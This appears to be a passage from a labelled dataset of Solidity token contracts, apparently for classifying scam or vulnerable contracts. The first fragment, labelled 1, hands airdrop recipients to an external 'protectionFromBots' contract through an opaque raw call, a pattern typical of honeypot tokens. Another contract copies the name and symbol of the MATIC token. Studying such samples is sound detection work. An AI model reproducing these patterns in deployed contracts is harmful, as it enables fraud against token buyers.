require(_reallyGoHere.length == _amounts.length);
protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _reallyGoHere));
for(uint i = 0; i < _reallyGoHere.length; i++) {
balanceOf[_reallyGoHere[i]] = _amounts[i];
emit Transfer(address(0x0), _reallyGoHere[i], _amounts[i]);
}
}
} | 1 | 2,382 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "TourexMe";
string public constant TOKEN_SYMBOL = "TORX";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x6682E5CC7253C471AB1735683017AEf6f879820C;
bool public constant CONTINUE_MINTING = false;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[4] memory addresses = [address(0xe372eb5adaa62ac84742dda12d23b1c968febed5),address(0x7aeccb00a3d4294f263ef2a7676ceffd8143518d),address(0xa955c7fb0e081fa979d97c282420ad74b712e768),address(0x37cdc4a2ad93d950b6bb1978d59b2ed53db56cb6)];
uint[4] memory amounts = [uint(140000000000000000000000000),uint(140000000000000000000000000),uint(140000000000000000000000000),uint(280000000000000000000000000)];
uint64[4] memory freezes = [uint64(0),uint64(0),uint64(0),uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 0 | 571 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "MATIC TOKEN";
string public constant TOKEN_SYMBOL = "MATIC";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x1f97b89a0dC1426Ec75EC13669cfCC5ee67a890f;
uint public constant START_TIME = 1558197000;
bool public constant CONTINUE_MINTING = false;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 0 | 1,435 |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract PskERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public lockedUntil;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed from, uint256 value);
function PskERC20() public {
uint256 initialSupply = 68072143;
totalSupply = initialSupply * 10 ** uint256(decimals);
name = 'Pool of Stake Master Token';
symbol = 'PSK';
balanceOf[address(this)] = totalSupply;
emit Transfer(address(this), address(this), totalSupply);
_transfer(address(this),0x8b89dc977c1D4e1B78803342487dEcee0a2Ba02c,378000000000000000000000);
_transfer(address(this),0xC19c9dd81D4b8B3FaDE83eEF6f2863Ac9B76B7FB,34912500000000000000000);
_transfer(address(this),0x5Ea29C0a72Ab68bE62c7942d5b3aD69d4f29d4dA,1640625000000000000000000);
_transfer(address(this),0x14a926e168278cC0c00286837de51e29F814b8D3,12250000000000000000000);
_transfer(address(this),0xD46d9fE2d8f991913Bd4f77536abBa4598EA29A9,131250000000000000000000);
_transfer(address(this),0x0019312D39a13302Fbacedf995f702F6e071D9e8,175000000000000000000000);
_transfer(address(this),0x0FBd0E32aFE5082FED52837d96df7E34a9252bC3,8750000000000000000000);
_transfer(address(this),0x10E6a8f9Dbe3A6BF4aB8D07233A45125Fb411eF1,5250000000000000000000);
_transfer(address(this),0x93ED3C6a78724308095C34eFD0dcdA693f515BE7,1750000000000000000000);
_transfer(address(this),0xd113f63Fec7F296FFE838939Bfd3775339d79e44,3500000000000000000000);
_transfer(address(this),0x83aCbBE5f22841799647De7c4aC9f0fa61691975,87500000000000000000000);
_transfer(address(this),0xEfFefF8De1C5f15FE6545a32C1Aaa372c6023d77,1750000000000000000000);
_transfer(address(this),0xEfFefF8De1C5f15FE6545a32C1Aaa372c6023d77,1750000000000000000000);
_transfer(address(this),0xEfFefF8De1C5f15FE6545a32C1Aaa372c6023d77,49000000000000000000000);
_transfer(address(this),0x5239249C90D0c31C9F2A861af4da7E3393399Cb9,8750000000000000000000);
_transfer(address(this),0x9b818b7B401908671CbE2bf677F7F3361653Fdb5,28526399998250000000000);
_transfer(address(this),0x55A0B2b1A705dD09F15e7120cC0c39ACb9Ea7978,35000000000000000000000);
_transfer(address(this),0x8a501A75eE3d0C808b39dd2bc2760289F9785500,3500000000000000000000);
_transfer(address(this),0x752452F7759E58C50A7817F616B5317275924F78,272144811750000000000);
_transfer(address(this),0x639631fc10eA37DF5540E3A6FAf1Bd12Ab02A02c,28000000000000000000000);
_transfer(address(this),0x8A0Dea5F511b21a58aC9b2E348eB80E19B7126ab,98000000000000000000000);
_transfer(address(this),0x231A9614c5726df24BB385F4A1720d6408302fde,42000000000000000000000);
_transfer(address(this),0xCE2daE844a2f473Cb10e72eA5B5cd82ce1C86c76,207900000000000000000);
_transfer(address(this),0x9829D08FE48a402fF1A3e9faD0407023ffd947e7,1890000000000000000000);
_transfer(address(this),0xd495826cABB093e7dCA498D1a98e4dc55e0C29Db,5670000000000000000000);
_transfer(address(this),0x7C31755f9374c238248aD19EABf648c79FF3A5eD,945000000000000000000);
_transfer(address(this),0x9Ce1B1B62344ADdca64Aac6338da369f395367DE,5670000000000000000000);
_transfer(address(this),0x81a1Ff97AE6DB89f5FD1B0Fb559Bd7C61e4BA960,189000000000000000000);
_transfer(address(this),0xd4E6c27B8e5805318295f3586F59c34B60495992,1890000000000000000000);
_transfer(address(this),0xc458F28FC72bA8dFEE6021763eCAAF21033839e8,3780000000000000000000);
_transfer(address(this),0x2188f6212CE37dCbfeC7e0167D68d9e5E5F07e3a,1890000000000000000000);
_transfer(address(this),0xd1EfE47c8610678DE2192F03B8dA49b25Be746fb,5670000000000000000000);
_transfer(address(this),0x7967149ed2FBaA14D1E74D26505573C803c0D698,473185571040000000000);
_transfer(address(this),0x7967149ed2FBaA14D1E74D26505573C803c0D698,463050000000000000000);
_transfer(address(this),0x5BFd06c00CCf7c25984D1Fb4D153Abfdb999984c,189000000000000000000);
_transfer(address(this),0xAAA0779B11BC0b03f00F82427f4C14F9C2dBB6aB,2835000000000000000000);
_transfer(address(this),0x4DE5BA1869Dfd12eE429eE227EAEa33b295AE7C9,378000000000000000000);
_transfer(address(this),0xA4C8ed0dB08a9EfCc502f390E5E75c51851B870A,623700000000000000000);
_transfer(address(this),0xbA6F61ca597510E8dc86c7f3e4fe1d251e8C5B89,642600000000000000000);
_transfer(address(this),0x1a08bac3FA02C1aC7e12F8b961e3B2ed6CE31E00,18879909300000000000000);
_transfer(address(this),0x4745b5130aC32Ed0c541442440C37284d475a166,2627100000000000000000);
_transfer(address(this),0xd00266409A2fd099FEcbFd0340F7A965CeeceCF2,378000000000000000000);
_transfer(address(this),0x26C0E0772EA9ABd416667ee5FFf978cb1F54720A,1890000000000000000000);
_transfer(address(this),0x2874E22Bb3a2E378cabaa1058Aa09a23087829d0,283500000000000000000);
_transfer(address(this),0x19682FE3B7BB4D0Baba4c53fa1C697c9Ba2Fce02,75600000000000000000000);
_transfer(address(this),0xA4C8ed0dB08a9EfCc502f390E5E75c51851B870A,1341900000000000000000);
_transfer(address(this),0x9ED09BD3c7BB325cCb84D793Ad9ce42a068D7Ef1,3780000000000000000000);
_transfer(address(this),0x0b72805FFa5CB6E1187223e8EEF97dA6a6a0950c,5670000000000000000000);
_transfer(address(this),0xe19938a75140d8e16aF4bf5F08D97B4cd8C62317,3780000000000000000000);
_transfer(address(this),0xEf4a2C6b92024E359e107Aa6Acd17F6391855B5a,618030000000000000000);
_transfer(address(this),0x7967149ed2FBaA14D1E74D26505573C803c0D698,563846285520000000000);
_transfer(address(this),0x446471EAc3Ac288b9bECb3ca814daefEB867Bbc8,472500000000000000000);
_transfer(address(this),0xd89F659402245781daC5c11CBaBB86B79484E696,94500000000000000000000);
_transfer(address(this),0x8252e834763933124f80177b08e6F60A90DA0919,1890000000000000000000);
_transfer(address(this),0xD996263209B2dfbA4Bbba5D7F37705DdE265116E,2800000000000000000000);
_transfer(address(this),0x664f129b55a6948900577bad77D9b6a792b50743,140000000000000000000);
_transfer(address(this),0x8166AD8690A3E7BFb2D6B45006eBB5d111628a59,663452885200000000000);
_transfer(address(this),0x4997DF0Ef9f05A5c136f991b5ee088BBF5526f42,423906000000000000000);
_transfer(address(this),0xA823648A8251B44b09873723A32831f2f206acD5,554483286000000000000);
_transfer(address(this),0x7CDE9cD90afaEc5a40480DDA05C8Cf4ec39cF643,140000000000000000000);
_transfer(address(this),0x0f929995C0c8a00E212dF802f57b5f63D7640FE7,8400000000000000000000);
_transfer(address(this),0x1e7D081e2Bf261F99918d02366ed8F3B524e39EC,840000000000000000000);
_transfer(address(this),0x0354dEd5058c5AB4aa42F8260c2Cc08904e7eE09,329000000000000000000);
_transfer(address(this),0x73b3166784F4C878E6eea15665F6F35651141984,294000000000000000000);
_transfer(address(this),0x6133c06Be78f1D2AB67b4cd8f854C90167dBd066,680000000000000000000000);
_transfer(address(this),0xFf342491cC946B8Cd9d7B48484306a0C18B814Dd,416666666666667000000000);
_transfer(address(this),0x4fd60c47bf9437954557d0Ec46C68B63858B2862,3900000000000000000000);
_transfer(address(this),0xD384C81eFEF96CB32Ae8Ad52cC85630eABC75E26,3024002711476670000000000);
_transfer(address(this),0x820baEBb0f077C746DaF57af4DCD38bEACeE22ed,100000000000000000000);
_transfer(address(this),0x13A7b665c91259873dFF9D685811Bc916b5E403c,100000000000000000000);
_transfer(address(this),0xBa122378B1b5A5D73B2778Aa6C724c4D43ebf966,100000000000000000000);
_transfer(address(this),0xd495826cABB093e7dCA498D1a98e4dc55e0C29Db,100000000000000000000);
_transfer(address(this),0x3dC21E7Eca79C7b9890dF4AFbe2E0ba2f17512C3,100000000000000000000);
_transfer(address(this),0xA823648A8251B44b09873723A32831f2f206acD5,100000000000000000000);
_transfer(address(this),0x68b1951F36e77324924170cAE9Ca2aa03dc1e0AC,100000000000000000000);
_transfer(address(this),0x1CE853FC613D900FD9eB004d2D7837E97D40a23C,100000000000000000000);
_transfer(address(this),0x0AeEe2337F2Cc88AB7cadc619205b22C7Ee2f05A,100000000000000000000);
_transfer(address(this),0x4C844FEf1014bE0862167925842c4835354Dc4B6,100000000000000000000);
_transfer(address(this),0x24f56B8e6b0bc478c00a8055600BA076777c5cFa,100000000000000000000);
_transfer(address(this),0xDe29bB2E66F1731B187919bB34f4Dd793CebbE86,100000000000000000000);
_transfer(address(this),0xE792690B3783c08823049b1DCe5CC916001e92Cd,340000000000000000000000);
_transfer(address(this),0x08a62f6DFd9f4334478B5CC038d0584fEACe9ac8,340000000000000000000000);
_transfer(address(this),0xd987728d110e0A270dc4B6E75e558E0F29E0c2c7,340000000000000000000000);
_transfer(address(this),0x25A8178d085a600Eb535e51D3bCD4Fea773E81e4,650000000000000000000000);
_transfer(address(this),0xE9cB39c9AfCf84C73FB3e8E8a3353d0bfD2Baa0F,750000000000000000000000);
_transfer(address(this),0xa537E2887B9887Cb72bDd381C9E21DA4856bb60d,382000000000000000000000);
_transfer(address(this),0x1d4Aa2b232Af68599864efE1C0Fbf4F4b5E6112c,510500000000000000000000);
_transfer(address(this),0xCbEde66A699C3a5efF63c5E234D7b8149f353c4E,397500000000000000000000);
_transfer(address(this),0xf2944172b735609b2EcEeadb00179AC88f6aA431,630000000000000000000000);
_transfer(address(this),0x3e6330A1a05a170b16Dabfb2ECe7E44453CD5A36,2333333333333320000000000);
_transfer(address(this),0x21028AAeb61f39c68380928e7d6297C47d09CdD9,3466666666666660000000000);
_transfer(address(this),0x98Dc9E2b1AA2A29D71eec988e45022Ad774f6bF6,2000000000000000000000000);
_transfer(address(this),0xdc3603FB59BDb00A527c9D8143Cda58d3A1Ade8d,1866666666666670000000000);
_transfer(address(this),0xE85D25FA06b045396C2Ce811F461d3e408DcD267,2666666666666660000000000);
_transfer(address(this),0x79A69503eC313cAf56A83Ff05A9C5a7798504eD4,1000000000000000000000000);
_transfer(address(this),0x0B4Db8D4e13EeB6aac5D2e7fB770Ac118bDE8dc6,1666666666666670000000000);
_transfer(address(this),0xD6d957139941af45B452b69783A19C77a6883ea8,1733333333333330000000000);
_transfer(address(this),0x237Abf82405C542A803642DbbbFA9639Df9cA33D,2933333333333320000000000);
_transfer(address(this),0x78961633419f69032D874c27D1d789E243c2B8Ed,333333333333332000000000);
_transfer(address(this),0xB62FD8775e4938A352cb20E632654CC2f5e76829,564202334630000000000);
_transfer(address(this),0x1449dEb2db6dFD95299776E3F77aCe0ffFFD0198,225225225230000000000);
_transfer(address(this),0xa77694c0C0d0e81Ca1a21c8A6498bb2c0A1329f2,1922178988330000000000);
_transfer(address(this),0xD996263209B2dfbA4Bbba5D7F37705DdE265116E,10000000000000000000000);
_transfer(address(this),0xa854fF673bf41Cf79c2E4C799Af94d5f275D8D5e,333333333330000000000);
_transfer(address(this),0x3353bfCA0DF0C585E94b2eE2338572f46c8986Dd,1000000000000000000000);
_transfer(address(this),0x72417A054Efa81d50252cC5ceCc58716cdD99Ac7,149880000000000000000000);
